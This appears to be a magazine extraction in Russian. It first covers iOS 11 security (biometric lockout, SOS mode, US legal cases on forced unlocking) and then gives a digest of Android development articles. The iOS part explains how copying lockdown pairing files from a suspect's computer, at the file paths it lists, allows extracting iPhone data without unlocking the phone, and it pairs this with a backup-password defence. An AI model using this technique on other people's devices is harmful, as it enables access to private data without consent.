цеду ра —  самая  слож ная  и  дол гая;  для  того  что бы  ква лифи циро вать  прес‐ 
тупле ние  как  осо бо  тяж кое,  тре бует ся  не менее  двух  дней.  В  iPhone  дат чик
отпе чат ков и Face ID в любом слу чае бло киру ются через 48 часов, но в рос‐ 
сий ских усло виях тебе это никак не поможет: если твои кон сти туци онные пра‐ 
ва огра ничи ли, а пароль ты не говоришь,  то вос пре пятс тво вание следс твию
тебе обес печено, даже если речь идет о тво ем телефо не.

Пя тое и пос леднее. Если отпе чат ки в обя затель ном поряд ке сни мают, ког‐ 
да  в  прес тупле нии  учас тво вало  ору жие,  то  даже  при  ограбле нии  это  офор‐ 
мить  уже  слож нее.  А  если,  ска жем,  раз бил  в  магази не  бутыл ку  или  сде лал
неп рилич ную над пись на заборе — поч ти невоз можно.

Как обой ти

Ра зуме ется,  нас  сра зу  заин тересо вало,  мож но  ли  обой ти  новый  защит ный
механизм  iOS?  Мы  про вели  собс твен ное  рас сле дова ние…  Ока залось  —
мож но. Но не всег да.

При  обме не  дан ными  меж ду  устрой ством  с  iOS  и  компь юте ром  исполь‐ 
зуют ся крип тогра фичес кие клю чи. Точ нее говоря, для каж дой связ ки исполь‐ 
зует ся  пара  асим метрич ных  клю чей,  один  из  которых  соз дает ся  в  памяти
iPhone  (и  защища ется  Secure  Enclave),  а  вто рой  переда ется  на  компь ютер,
где и сох раня ется в виде фай ла — так называ емо го lockdown‐фай ла или pair‐
ing record. Для того что бы два устрой ства мог ли обме нивать ся информа цией,
тре буют ся оба клю ча — и тот, который находит ся в устрой стве, и тот, который
сох ранен на компь юте ре.

Так  вот,  если  извлечь  lockdown‐файл  из  компь юте ра  поль зовате ля
и положить его в соот ветс тву ющую пап ку iTunes на сво ем компь юте ре (а луч‐ 
ше  —  вос поль зовать ся  спе циали зиро ван ным  инс тру мен том  наподо бие  El‐
comsoft iOS Forensic Toolkit), то для копиро вания дан ных из iPhone не при дет‐ 
ся даже раз бло киро вать его экран.

Есть, прав да, одно но: если смар тфон был вык лючен или перезаг ружал ся
с момен та пос ледней раз бло киров ки, то магия не сра бота ет. Пос ле перезаг‐ 
рузки  в  устрой стве  зашиф ровано  бук валь но  все,  вклю чая  час ти  клю чей
доверен ных  компь юте ров,  и  рас шифру ются  дан ные  толь ко  пос ле  пер вого
вво да пароля.

Где  взять  эти  клю чи?  В  пап ке  дан ных  iTunes,  мес тополо жение  которой
зависит от вер сии опе раци онной сис темы компь юте ра.

Windows Vista, 7, 8, 8.1, Windows 10:  ;• %ProgramData%\Apple\Lockdown
Windows  XP: 

;
• %AllUsersProfile%\Application  Data\Apple\Lock­
down
macOS:  .• /var/db/lockdown

Вот,  к  при меру,  содер жимое  фай ла 
 — lockdown‐записи от одно го из наших устрой ств.

752c613e006babbd9d898f7a0a53cd‐
faaee28f72.plist

Со дер жимое lockdown‐фай ла

Дос таточ но  получить  этот  файл,  и  iPhone  мож но  будет  прос то  под клю чить
к компь юте ру — необя затель но даже раз бло киро вать дат чиком отпе чат ков!

Ин терес но и то, что записи эти — без сро ка дав ности. Они будут дей стви‐ 
тель ны  до  бес конеч ности,  точ нее —  до  пол ного  сбро са  телефо на  к  завод‐ 
ским  нас трой кам  или  до  того,  как  поль зователь  отзо вет  доверен ный  ста тус
у  соот ветс тву юще го  компь юте ра.  Воп рос  на  засып ку:  как  это  сде лать?
Думаю, отве та не зна ет поч ти ник то, рав но как прак тичес ки ник то не догады‐ 
вает ся о самом сущес тво вании этой воз можнос ти. Хочешь попытать ся най ти
эту воз можность самос тоятель но в нас трой ках устрой ства? Уда чи в нелег ком
поис ке!  Раз работ чики  спря тали  ее  в  под пун кте  «Нас трой ки →  Основные →
Сброс →  Сбро сить  геонас трой ки».  Кста ти,  в  англий ской  вер сии  наз вание
это го пун кта более логич ное — Reset Location & Privacy.

РЕЖИМ SOS

В iOS 11 появил ся еще один режим, приз ванный защитить поль зовате ля от…
Впро чем, не будем спе шить.

Итак, новый режим SOS акти виру ется, если быс тро нажать пять раз под‐ 
ряд кноп ку питания. В этом слу чае поль зователь получа ет меню с круп ными
кноп ками‐слай дерами.  Теперь  дос таточ но  сдви нуть  крас ную  кноп ку  SOS,
и  телефон  авто мати чес ки  наберет  номер  соот ветс тву ющей  для  текуще го
реги она дис петчер ской служ бы.

Ка залось бы, все пре дель но проз рачно. Или нет?
У  нового  режима  есть  еще  одна  фун кция,  совер шенно  незамет ная.

При акти вации меню SOS сис тема авто мати чес ки бло киру ет дат чик отпе чат‐ 
ков паль цев Touch ID (в  iPhone X, соот ветс твен но, бло киру ется сис тема рас‐ 
позна вания лиц Face  ID). Бло киров ка не сни мает ся, даже если меню убрать
нажати ем кноп ки «Отме на». Таким обра зом, поль зователь может быс тро заб‐ 
локиро вать  биомет ричес кие  спо собы  авто риза ции,  оста вив  пароль
на устрой ство в качес тве единс твен ной воз можнос ти его раз бло киро вать.

Бо лее того, у иссле дова теля нет никакой тех ничес кой воз можнос ти опре‐ 
делить,  был  ли  дат чик  Touch  ID  заб локиро ван  таким  спо собом,  или же  сис‐ 
тема  пот ребова ла  пароль  в  соот ветс твии  с  одним  из  мно жес тва  пра вил.
О пра вилах мы писали ранее; в двух сло вах — дан ные отпе чат ка паль ца уда‐ 
ляют ся,  если  поль зователь  «слиш ком  дол го»  не  вво дил  пароль.  Понятие
«слиш ком  дол го»  пла вающее;  в  свое  вре мя  в  «Элкомсофт»  про вели 

 на эту тему. Дат чик отклю чает ся:
под‐ 

робное иссле дова ние
пос ле пяти неудач ных попыток;•
пос ле добав ления нового паль ца;•
дис танци онно через Find My Phone;•
че рез 48 часов с момен та пос ледней раз бло киров ки;•
че рез  восемь  часов  с  пос ледней  раз бло киров ки  любым  спо собом,  если
пароль не вво дил ся пос ледние шесть дней.

•

В  любом  из  этих  слу чаев  мы  уви дим  точ но  такое  же  сооб щение,  как  то,
которое мы име ли воз можность наб людать при демонс тра ции работы Face ID
во вре мя пре зен тации iPhone X.

Ре жимы SOS и Trust

Юри дичес кие замороч ки

Здесь начина ется самое инте рес ное. Не перечесть, сколь ко копий сло мано
вок руг  бло киров ки  смар тфо нов,  их  раз бло киров ки  полици ей  и  тре бова ний
раз бло киро вать телефон, выд винутых по отно шению к подоз рева емым, обви‐ 
няемым и — да‐да! — прос то про хожим. До сих пор ни в одной стра не (кро‐ 
ме,  пожалуй,  Север ной  Кореи)  не  раз работа но  неп ротиво речи вой  законо‐ 
датель ной базы, которая регули рова ла бы подоб ные вещи.

Поп робу ем разоб рать ся в ситу ации на при мере прак тики, которая понем‐ 
ногу скла дыва ется в нас тоящий момент в США.

Пер вое  и  основное:  смар тфо ны,  а  точ нее  информа ция,  которую  они
содер жат,  рас смат рива ются  сей час  как  важ ная  часть  доказа тель ной  базы.
Для  кон фиска ции  смар тфо на  и  для  того,  что бы  взло мать  его  без  помощи
поль зовате ля, тре бует ся ордер, ничем не отли чающий ся от обыч ного орде ра
на обыск. Более того, изъ ять телефон полиция может и при обыч ном задер‐ 
жании; в этом слу чае на попыт ку взло мать устрой ство ей пот ребу ется отдель‐ 
ный ордер.

А вот зас тавить поль зовате ля раз бло киро вать устрой ство полиция не име‐ 
ет  пра ва.  (Экзо тичес кую ситу ацию с дос мотром на  гра нице оста вим сей час
за скоб ками; мы уже под робно обсу дили ее в одном из пре дыду щих выпус‐ 
ков.) Если быть точ ным, полицей ский может веж ливо поп росить или уве рен‐ 
ным  голосом  пот ребовать,  что бы  задер жанный  раз бло киро вал  устрой ство.
ДЕЛАТЬ ЭТО ГО НЕ СЛЕ ДУЕТ, и вот почему.

Во‐пер вых, у тебя есть пра во отка зать ся от дачи показа ний. Раз бло киро‐ 
вание  устрой ства  —  это  имен но  дача  показа ний,  даже  если  полицей ский
всем сво им видом демонс три рует, что это не так. Все твои показа ния могут
быть и будут исполь зованы про тив тебя, а вот отказ от дачи показа ний про тив
тебя исполь зовать нель зя. Более  того,  никакая  часть  тво их показа ний, если
ты будешь давать их при задер жании, никог да не будет исполь зована в твою
поль зу!

При меры?    (этот  слу чай  весь ма  харак терен).  Пос ледова тель‐ 
ность событий была такой: во вре мя рутин ного дос мотра, без предъ явле ния
обви нений,  полиция  оста нови ла  19‐лет него  Дар вина  Уоке ра.  Полицей ский
поп росил  (пот ребовал?)  дос туп  в  телефон пока‐еще‐не‐задер жанно го Дар‐ 
вина. Тот сог ласил ся и телефон раз бло киро вал.

Вот пер вый

Прос мотрев  содер жимое  устрой ства,  полиция  обна ружи ла  фотог рафии
девуш ки Дар вина в не сов сем оде том виде. Полиции показа лось, что девуш‐ 
ке нет 18 лет (даль нейшие события показа ли, что она была на два года млад‐ 
ше Дар вина);  на  этом  осно вании Дар вин  был  задер жан  (дет ская  пор ногра‐ 
фия, мож но сесть на мно го лет тюрь мы). Дар вин был отпу щен под залог, пос‐ 
ле  чего  вос поль зовал ся  фун кци ей  дис танци онно го  уда ления  дан ных
с  телефо на.  Дан ные  были  успешно  уда лены,  доказа тель ств  не  оста лось.
Разоз ленная полиция выд винула обви нение в про тиво дей ствии пра восу дию.

Ка кие выводы мож но сде лать из этой прек расной исто рии?
1. Пер вое и самое глав ное: всех этих неп рият ностей мож но было избе жать,
прос то  отка зав шись  раз бло киро вать  устрой ство.  У  полиции  не  было
никаких пре тен зий к Дар вину, и отка жись он — его прос то отпусти ли бы.

2. Вто рое:  никаки ми  спо соба ми  взло мать  телефон  Дар вина  полиция
не смог ла бы  (это  iPhone 5s,  для  которо го на  тот момент — 2015  год —
прос то не сущес тво вало методов раз бло киров ки через взлом заг рузчи ка);
доб рать ся до зашиф рован ных дан ных не получи лось бы.

3. Третье:  у  задер жанно го  есть  пол ное  пра во  не  сооб щать  пароль  устрой‐ 
ства.  Отказ  сооб щить  пароль  не  может  быть  исполь зован  про тив  него
в суде.

4. Чет вертое: единс твен ным легаль ным спо собом для полиции раз бло киро‐ 
вать  iPhone Дар вина было бы получе ние орде ра и насиль ствен ное прик‐ 
ладыва ние паль ца Дар вина к дат чику Touch ID.

Вот  имен но от  пос ледне го,  единс твен но  легаль но  воз можно го  для  полиции
сце нария и приз вана защитить новая фун кция SOS.

А  ,  недав ний.  Здесь  все  еще  инте рес ней:
полиция вор валась в зда ние, воору жив шись орде ром, который давал им пра‐ 
во  на  «…прик ладыва ние  отпе чат ков  паль цев,  в  том  чис ле  боль ших  паль цев,
каж дого челове ка, который находит ся в зда нии в момент про веде ния обыс ка
и  у  которо го,  по  мне нию  полиции,  может  быть  устрой ство,  обо рудо ван ное
дат чиком  отпе чат ков  паль цев,  если  таковое  устрой ство  так же  находит ся
в зда нии в момент про веде ния обыс ка».

вот  сов сем  дру гой  при мер

Сам факт выдачи такого орде ра выз вал бурю негодо вания; спус тя пол года
, но тем не менее —

полиция  УЖЕ  про вела  рейд  и  УЖЕ  раз бло киро вала  устрой ства  с  помощью
отпе чат ков паль цев их вла дель цев.

ор дер приз нают незакон ным и ситу ацию отыг рают назад

Ре жим  SOS  —  воз можность  в  подоб ных  слу чаях  быс тро  заб локиро вать
дат чик отпе чат ка. Обра ти вни мание: даже такой сом нитель ный с точ ки зре ния
закон ности ордер не давал полиции пра ва тре бовать от находив шихся в зда‐ 
нии  в  момент  обыс ка  сооб щать  пароли  от  устрой ств  или  раз бло киро вать
сами устрой ства с помощью паролей.

Даль ше  будет  толь ко  инте рес нее.  Так,  для  исполь зования  новой  тех‐ 
нологии Apple Face ID не нуж но даже прик ладывать паль ца к устрой ству. Дос‐ 
таточ но про вес ти стан дар тную про цеду ру фотог рафиро вания подоз рева емо‐ 
го, нап равив на него камеру iPhone, — и устрой ство будет раз бло киро вано.

Как обой ти

Как  ни  стран но,  новый  режим  SOS  никак  не  вли яет  на  работос пособ ность
lockdown‐фай лов. Их по‐преж нему мож но извлечь с компь юте ра подоз рева‐ 
емо го и исполь зовать для того, что бы раз бло киро вать его iPhone даже пос ле
исполь зования  фун кции  SOS.  С  нашей  точ ки  зре ния,  это  как  минимум
нелогич но, если  уж в Apple начали бороть ся с полицей ским про изво лом,  то
надо  идти  до  кон ца.  Тем  не  менее факт  оста ется  фак том:  lockdown‐записи
в iOS 11 ведут себя точ но так же, как в пре дыду щей вер сии ОС. Они не уда‐ 
ляют ся и не отклю чают ся в SOS‐режиме.

Как защитить ся?

За щитить ся от дос мотра  iPhone при помощи  lockdown‐записи, извле чен ной
с  тво его  компь юте ра,  впол не  воз можно.  Знай,  что  с  помощью  lockdown‐
записи  мож но  раз бло киро вать  толь ко  воз можность  соз дания  локаль ной
резер вной  копии  устрой ства  через  iTunes  или  Elcomsoft  iOS  Forensic  Toolkit.
Экран устрой ства с ее помощью раз бло киро вать нель зя.

Та ким обра зом, что бы защитить ся от про изво ла, про ще все го уста новить
уме рен но длин ный и слож ный пароль на резер вные копии в  iTunes. Глав ное
здесь — что бы пароль был уни каль ным и не исполь зовал ся боль ше ниг де (в
про тив ном слу чае извлечь его из тво его компь юте ра может быть делом тех‐ 
ники). Сде лать это мож но на глав ном экра не iTunes.

Это го будет впол не дос таточ но. В iOS 11 шиф рование резер вных копий чрез‐ 
вычай но стой кое,  а  ско рость перебо ра без исполь зования GPU — еди ницы
паролей  в  минуту.  Даже  про фес сиональ ные  решения,  исполь зующие  виде‐ 
окар ты  в  качес тве  уско рите лей,  не  смог ли  пре одо леть  отметку  в  сто  (все го
сто!) паролей в секун ду. Это озна чает, что пароль из вось ми‐девяти зна ков,
в котором будут как бук вы, так и циф ры, даст — с уче том ско рос ти тех ничес‐ 
кого прог ресса — надеж ность с запасом на бли жай шие десяти летия.

ЗАКЛЮЧЕНИЕ

Мы  рас смот рели  три  неоче вид ные  осо бен ности  iOS  11,  две  из  которых
помогут обе зопа сить дан ные от полицей ско го про изво ла, а одна до сих пор
оста ется впол не дос тупной уяз вимостью. Самое инте рес ное здесь даже не в
тех ничес ких  средс твах  защиты,  они  доволь но  незамыс ловаты.  Инте ресен
юри дичес кий  и  полити чес кий  под текст,  под тол кнув ший  Apple  к  вве дению
подоб ных мер. Его мы и пос тарались рас смот реть по мере сил.
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МОБИЛЬНОГО ПЕНТЕСТЕРА

X‐MOBILE  НАЧАЛО СТАТЬИ←

Как работа ет runOnUiThread

  —  неболь шая  замет ка,  пос вящен ная
тому, как работа ет метод runOnUiThread, пред назна чен ный для запус ка кода
в основном потоке при ложе ния. В целом все очень прос то:

Understanding  Activity.runOnUiThread()

public final void runOnUiThread(Runnable action) {
   if (Thread.currentThread() != mUiThread) {
       mHandler.post(action);
   } else {
       action.run();
   }
...
}

Од нако цен ность статьи вов се не в этих шес ти стро ках, а в том, что, отталки‐ 
ваясь  от  это го  кода,  автор  очень  доход чиво  объ ясня ет,  как  работа ют
механиз мы  мно гопо точ ного  прог рамми рова ния  в  Android:  луперы,  сооб‐ 
щения  и  хен дле ры.  Если  нуж но  осво ить  эту  тему,  то  более  понят ного  объ‐ 
ясне ния ты не най дешь.

Ва лида ция вход ных дан ных в Kotlin

  —  статья  с  опи сани ем  двух  встро енных
в  Kotlin  инс тру мен тов  для  валида ции  вход ных  дан ных.  Нап ример,  ког да
передан ный фун кции мас сив дол жен быть опре делен ной дли ны или не быть
пус тым. Рас смот ренные в статье инс тру мен ты:

Preconditions.kt:  Validate  Your  Kotlin

•  — про веря ет усло вие и, если оно не выпол нено, выб расыва ет
исклю чение IllegalArgumentException. При мер:
require()

fun <T> getFifthElement(array: Array<T>): T {  
    require(array.size >= 5) {
        "array should have at least five elements, but has ${
array.size}!"
    }
    return array[4]
}

•  — ана лог  require, выб расыва ющий исклю чение  IllegalStateExcep‐
tion (что озна чает «не вов ремя, чувак»).
check()

Как писать DSL в Kotlin

  —  хорошая  ввод ная  статья
о  соз дании  сво его  собс твен ного  DSL  (Domain  Specific  Languages)  поверх
Kotlin.

Creating  DSL  with  Kotlin  Introducing  a  TLSLibrary

DSL —  это  некий  узкоспе циали зиро ван ный мини‐язык.  Хороший  при мер
такого язы ка — сис тема прог рамми рова ния интерфей са в биб лиоте ке Anko.
Написан ный  с  ее  помощью  код  оста ется  кор рек тным  кодом  Kotlin,  но  выг‐ 
лядит как набор строк на дру гом язы ке. DSL хорошо под ходит для задач, тре‐ 
бующих выпол нения мно жес тва одно тип ных дей ствий. Он поз воля ет сде лать
код более чис тым и понят ным.

В  статье  автор  демонс три рует  при мер  соз дания DSL  для  работы  с  биб‐ 
лиоте кой  SSL/TLS.  Клю чевую  роль  здесь  игра ют  так  называ емые  литера лы
фун кций с объ ектом‐при емни ком (function literals with receiver), которые пред‐ 
став ляют  собой  сплав  лямбд  и  фун кций‐рас ширений.  Дру гими  сло вами,
это лям бды, которые работа ют в прос транс тве имен ука зан ного объ екта.

С помощью таких лямбд мож но соз дать мини‐язык внут ри язы ка:

val fac = socketFactory {
   keyManager {
       open("certsandstores/clientkeystore") withPass "123456" 
beingA "jks"
   }
   trustManager {
       open("certsandstores/myTruststore") withPass "123456" beingA 
"jks"
   }
   sockets {
       cipherSuites =
       listOf("TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256",
               "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384",
               "TLS_DHE_RSA_WITH_AES_128_CBC_SHA",
               "TLS_DHE_RSA_WITH_AES_256_CBC_SHA")
       timeout = 10_000
   }
}
val socket = fac.createSocket("192.168.3.200", 9443)

Android и ней росети

  —  статья  о  том,
как задей ство вать облачные ML‐сер висы в сво ем при ложе нии для рас позна‐ 
вания изоб ражений.

Through  the  Looking  Glass:  Computer  Vision  on  Android

Ав тор по оче реди берет Google Cloud Vision, Cognitive Services Microsoft,
IBM  Watson  и  показы вает  код  для  тегиро вания  объ ектов  на  фотог рафии,
опре деле ния воз раста и пола челове ка, рас позна вания тек ста и нак ладыва‐ 
ния масок  на  лицо  в  сти ле Snapchat. При веден ный  в  статье  код  не  пол ный,
но его уже дос таточ но, что бы начать поль зовать ся сер висами.

Оп тимиза ция при ложе ний

  —  неболь шая  замет ка,  пос вящен ная
про фили рова нию  и  устра нению  узких  мест  в  коде  при ложе ния.  Сос тоит
из четырех раз делов.

Android  App  Performance  Optimization

.  Ког да  ОС  не  успе вает  обно вить  содер жимое
экра на  за  16  мс,  про исхо дит  фрей мдроп  —  сис тема  про пус кает  один
или нес коль ко кад ров, из‐за чего поль зователь видит лаги. Выявить узкие
мес та поможет встро енный в Android GPU‐про фай лер: Settings → Develop‐
er Options → Profile → GPU Rendering (необ ходимо сле дить, что бы стол бцы
не пересе кали зеленую чер ту).

• Об новле ние  интерфей са

. Прос той совет: все, что мож но ини циали зиро‐ 
вать  поз же,  нуж но  ини циали зиро вать  поз же,  в  том  чис ле  интерфейс  —
сна чала отоб ража ем «ске лет интерфей са», а затем асин хрон но заг ружа ем
в него ресур сы (изоб ражения и про чее).

• Вре мя запус ка при ложе ния

.  Что бы  сде лать  интерфейс  более  быс трым  для  отоб ражения,
необ ходимо  избе гать  излишне го  вло жения  лей аутов  друг  в  дру га,  раз‐ 
бивать лей ауты на неболь шие час ти и исполь зовать их заново, заг ружать
лей ауты толь ко по мере необ ходимос ти.

• Лей ауты

.  Нес коль ко  прос тых  советов:  исполь зовать  сетевые  зап росы
и  вей кло ки  (wakelock)  как  мож но  реже,  с  осто рож ностью  исполь зовать
GPS и AlarmManager, объ еди нять задачи и выпол нять их одновре мен но.

• Ба тарея

Ра бота с BLE-маяч ками

 —  прос тая  и  понят ная  ввод ная  статья  о  работе  с  BLE‐
маяч ками (beacon). Они пред став ляют собой кро хот ные устрой ства, которые
через опре делен ные интерва лы вре мени переда ют дан ные с помощью Blue‐
tooth  Low  Energy.  Пой мав  сиг нал  маяч ка,  мож но  вычис лить  его  мес тополо‐ 
жение и таким обра зом опре делить положе ние самого смар тфо на в помеще‐ 
нии. Так же от маяч ка мож но получить дан ные (нап ример, информа цию о кар‐ 
тине в музее).

Beacons  on  Android

Статья рас ска зыва ет о раз личных про токо лах обме на дан ными с маяч ками
(Apple  iBeacon, Google Eddystone и AltBeacon) и о  том,  как работать с ними
с помощью биб лиоте ки  . В целом задача реша ется бук‐ 
валь но в пару десят ков строк кода.

android‐beacon‐library

Спис ки с быс трым скрол лингом

.  Статья  рас ска зыва ет  о  новой  воз можнос ти
RecyclerView под наз вани ем fast scrolling. Эта фун кция появи лась в 26‐й вер‐ 
сии  support‐биб лиоте ки  и  поз воля ет  добавить  к  спис ку  пол зунок,  который
дает воз можность быс тро про маты вать спи сок и при этом видеть на экра не
алфа вит ный ука затель.

Fast  Scrolling  with  RecyclerView

Ис поль зовать fast scrolling очень прос то, для это го дос таточ но соз дать Re‐
cyclerView  с  атри бутом    и  ука зать  пути
к drawable, содер жащим сам пол зунок и пузырь с алфа вит ным ука зате лем.

app:fastScrollEnabled="true"

Ог раниче ния фоново го исполне ния в Android 8

 — статья  о  том,  какие
огра ниче ния при меня ет Android 8 к при ложе ниям, работа ющим в фоне.
Exploring Background Execution  Limits  on Android Oreo

Ог раниче ния  дей ству ют  толь ко  в  отно шении  при ложе ний,  соб ранных
для API 26 и выше.

•

При ложе ния  не  могут  запус кать  служ бы,  находясь  в  фоне.  Будет  выб‐ 
рошено исклю чение IllegalStateException.

•

При ложе ния  по‐преж нему  могут  запус кать  foreground‐служ бы,  которые
отоб ража ются в панели уве дом лений, и  .

•
при вязан ные служ бы

При ложе ния  могут  запус кать  служ бы  пос ле  получе ния  высокоп риори тет‐ 
ного  push‐уве дом ления,  но  такая  служ ба  будет  оста нов лена  через  пять
минут.

•

При ложе ние может  запус кать  служ бы,  находясь на  экра не,  но,  если при‐ 
ложе ние  будет  свер нуто,  через  некото рое  вре мя  все  его  служ бы  будут
завер шены.

•

По луча тели неяв ных широко веща тель ных сооб щений  (broadcast  receiver),
объ явленные в манифес те, будут отклю чены за некото рыми исклю чени ями
(см. таб лицу ниже).

•

Как обой ти огра ниче ния:
вмес то фоновых служб мож но исполь зовать foreground‐служ бы;•
для выпол нения задач при воз никно вении опре делен ных событий подой‐ 
дет  ;

•
Job Scheduler

что бы  при ложе ние  мог ло  реаги ровать  на  любые  широко веща тель ные
сооб щения,  получа телей  этих  сооб щений  необ ходимо  зарегис три ровать
динами чес ки, с помощью метода  .

•

registerReceiver()

Бе лый спи сок широко веща тель ных сооб щений

Ска чива емые шриф ты и Android 8

 — рас сказ о ста ром и новом спо собах
исполь зования  нес тандар тных  шриф тов  в  при ложе нии.  Ста рый  спо соб  зак‐ 
люча ется в том, что бы помес тить шрифт в катало ге assets внут ри APK и затем
самос тоятель но  заг рузить  его  в  при ложе ние.  Спо соб  работа ет,  но  тре бует
немалых телод вижений и к тому же раз дува ет раз мер APK.

Downloadable Fonts: How does it work?

Но вый спо соб из Android 8 поз воля ет ука зать необ ходимые шриф ты в XML
и  исполь зовать  эти  шриф ты,  обра щаясь  к  ним  нап рямую  с  помощью 

.  Сис тема  сама  ска чает
шрифт и закеши рует его.

con‐
text.getResources().getFont(R.font.myfont)

RxJava vs Kotlin

  —  рас сужде ния  соз дателя  RxJava
о том, может ли мно гопо точ ная модель Kotlin, осно ван ная на соп рограм мах,
заменить RxJava и будет ли она удоб нее для прог раммис та.

RxJava  vs.  Kotlin  Coroutines,  a  quick  look

Ав тор при ходит  к  выводу,  что,  хоть с соп рограм мами и  удоб но работать,
пока они не могут заменить RxJava. При чина прос та: RxJava дает мас су воз‐ 
можнос тей и обка тан ных механиз мов для решения самых раз ных задач асин‐ 
хрон ного  прог рамми рова ния,  без  необ ходимос ти  вле зать  в  деб ри  самого
асин хрон ного  прог рамми рова ния.  RxJava — отла жен ный  инс тру мент  с мас‐ 
сой воз можнос тей, соп рограм мы же — экспе римен таль ная фун кция.

Ре жим Picture in Picture

 —  крат кое вве дение в раз работ ку  при‐ 
ложе ния с под дер жкой режима PiP, который поз воля ет показы вать окно одно‐ 
го  при ложе ния  поверх  дру гих. С  помощью неболь ших  хаков  в  Android  такое
мож но  было  реали зовать  всег да,  но  в  Android  8  появил ся  офи циаль ный
механизм.

Android Oreo: Picture  In Picture Mode

Ис поль зовать  его  очень  прос то.  Дос таточ но  соз дать  активность  с  атри‐ 
бутом    и  затем  выз вать  в  ней
метод  .  Всю  осталь ную  работу  ОС  берет
на  себя,  она  сама  изме нит  раз меры  активнос ти  и  перемес тит  ее  в  угол
со  все ми  нуж ными  эффекта ми  ани мации.  Выб рать  угол  для  переме щения
и задать дру гие нас трой ки мож но через парамет ры метода. Пере опре делив
метод  ,  мож но  получать  уве дом ления
о текущем сос тоянии активнос ти.

android:supportsPictureInPicture="true"
enterPictureInPictureMode()

onPictureInPictureModeChanged()

Срав нение Realm, ObjectBox и Room

 — быс трое и наг лядное срав‐ 
нение трех биб лиотек хра нения дан ных в NAND‐памяти. Сам мари:
Realm, ObjectBox or Room. Which one is for you

Realm  —  прос тая  в  исполь зовании  и  быс трая  NoSQL  БД  для  хра нения
объ ектов;

•

Room —  удоб ная  и  прос тая  обер тка  над  SQLite,  раз работан ная  Google;
более  слож ная  в  исполь зовании,  не  скры вает  пол ностью  язык  зап росов
SQL;

•

ObjectBox  —  очень  прос тая  в  исполь зовании  и  чрез вычай но  быс трая
NoSQL БД, уме ющая сох ранять объ екты и все их зависи мос ти, кон цепту‐ 
аль но схо жа с Realm.

•

Что каса ется про изво дитель нос ти, то спи сок выг лядит так:
с боль шим отры вом побеж дает ObjectBox;•
на вто ром мес те Realm;•
на треть ем — Room.•

Уве личе ние раз мера APK пос ле под клю чения биб лиоте ки:
Realm — 3–4 Мбайт;•
ObjectBox — 1–1,5 Мбайт;•
Room — 50 Кбайт.•

Аб солют но во всех тес тах ObjectBox выш ла безого вороч ным победи‐ 
телем

Ста тичес кий ана лиз кода с помощью Infer

 — статья о прин‐ 
ципе работы ста тичес кого ана лиза тора Infer и его основных отли чиях от дру‐ 
гих ана лиза торов.

Finding inter‐procedural bugs at scale with Infer static analyzer

 раз работан в Facebook для поис ка оши бок в при ложе ниях на C, C++,
Objective‐C  и  Java.  В  слу чае  с  Java  он  может  выяв лять  такие  ошиб ки,
как  обра щение  к  объ екту,  содер жащему  зна чение  null,  утеч ки  ресур сов,
отсутс твие бло киро вок и сос тояния гон ки.

Infer

Ос новное  отли чие  это го  инс тру мен та  от  дру гих  в  том,  что  он  уме ет
исполь зовать зна ния обо всем дереве вызовов методов, что бы най ти ошиб ку.
В качес тве при мера авто ры при водят код, который берет объ ект, получен ный
от одно го метода, и переда ет его дру гому. Бла года ря воз можнос ти про ана‐ 
лизи ровать,  какие зна чения воз вра щает пер вый метод и  как его исполь зует
вто рой, ана лиза тор может пред ска зать, что пер вый метод может вер нуть null,
а вто рой не про веря ет свои аргу мен ты на null.

Чат‑бот с исполь зовани ем ней росетей
  —  статья  о  соз дании  при ложе ния

с  реали заци ей  прос тей шего  чат‐бота,  который  может  вес ти  более‐менее
осмыслен ный  диалог.  В  целом  все  сво дит ся  к  прос тому  обме ну  дан ными
меж ду  при ложе нием  и  API.AI:  чита ем  поль зователь ский  ввод,  отправ ляем
API.AI,  получа ем  ответ,  отоб ража ем  на  экра не.  Никако го  ана лиза  отве тов
и полез ной фун кци ональ нос ти.

Building  Chatbot  with  Firebase  and  API.AI

Пла гины Android Studio для более эффектив ной раз работ ки

  (
) —  статья  с  обзо ром  пла гинов  Android  Studio,  помога ющих  при  раз‐ 

работ ке. Крат кий перес каз:

How  to  become  more  productive  in  android  with  android  studio  plugins пе‐ 
ревод

 — под готав лива ет кар кас MVP‐при ложе ния;• MVP Generator
 —  генера тор для быс тро го  соз дания  сери али зуемых

объ ектов;
• Parcelable generator

 — поз воля ет соз дать класс на осно ве JSON;• DTOnator
 — генери рует инъ екции ButterKnife на осно ве кода XML;• ButterKnifeZelezny

 — мини‐кар та кода в сти ле Sublime;• CodeGlance
 —  более  прод винутая  сис тема  свер тывания  учас‐ 

тков кода;
• Advanced  Java  Folding

 — каль кулятор величин для раз личных зна чений DPI;• Android DPI Calculator
 — пла гин для более точ ной оцен ки пот ребле‐ 

ния памяти;
• JVM Debugger Memory View

  —  под счи тыва ет,  сколь ко  раз  ресурс
исполь зует ся  при ложе нием,  и  выводит  информа цию  рядом  с  его  дек‐ 
лараци ей;

• Android  Resource  Usage  Count

 — пла гин для сжа тия PNG‐изоб ражений;• BIU
 — поз воля ет груп пировать фай лы, рас полагая их в вир туаль‐ 

ных пап ках;
• Folding Plugin

  —  авто мати чес ки  добав ляет  в  .gitignore  все,  что  не  отно сит ся
к исходно му коду;

• GitIgnore

 — пла гин для авто мати чес кого перево да строк при‐ 
ложе ния на дру гие язы ки с помощью Microsoft Translator;

• Android Localizationer

 — поз воля ет работать с устрой ством через Wi‐Fi вмес то
USB‐кабеля.

• Android Wifi ADB

Биб лиоте ки

  —  копия  сте ка  ани маций  в  при ложе нии  Uber:  перехо ды  меж ду
активнос тями, поля вво да, кар та с овер леями и мно гое дру гое; 

  —  биб лиоте ка‐обер тка,  поз воля ющая  исполь зовать  Google  Maps,
OpenStreet Maps или Baidu, не меняя код; 

  —  прос тая  биб лиоте ка,  поз воля ющая  добавить  шум  на  фотог‐ 
рафию; 

  —  каталог  биб лиотек,  написан ных  на  язы ке  Kotlin  и  для
исполь зования в написан ных на Kotlin при ложе ниях; 

  —  веб‐сайт,  поз воля ющий  быс тро  соз дать  кра сивую
рам ку для скрин шота при ложе ния. 

 — набор под собных фун кций для прог раммис тов на Kotlin:  скры тие
и ани мация View, про вер ки на null и дру гое; 

 — биб лиоте ка для быс тро го получе ния раз личной информа ции
об устрой стве: про цес сор, память, при ложе ния, сеть и мно гое дру гое; 

 — завер шает активность свай пом с одной из сто рон экра на; 
  —  очень  прос тая  в  исполь зовании  биб лиоте ка  для  сох ранения

и заг рузки объ ектов с дис ка (с под дер жкой RxJava и Kotlin); 
